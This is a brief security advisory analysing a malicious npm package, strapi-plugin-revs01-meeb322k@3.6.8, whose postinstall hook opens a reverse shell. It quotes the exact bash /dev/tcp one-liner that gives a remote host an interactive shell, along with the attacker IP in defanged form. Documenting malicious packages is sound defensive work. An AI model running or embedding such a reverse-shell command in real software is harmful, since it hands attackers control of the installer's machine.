strapi-plugin-revs01-meeb322k@3.6.8

Analysis

The package's postinstall hook runs postinstall.js, which opens a reverse shell to 14[.]225[.]210[.]85:443 by executing `bash -i > /dev/tcp/14[.]225[.]210[.]85/443 0>&1` via child_process.exec, giving the remote host an interactive shell on the installer's machine. It also writes a marker file to /tmp. The package description openly identifies it as a reverse-shell payload.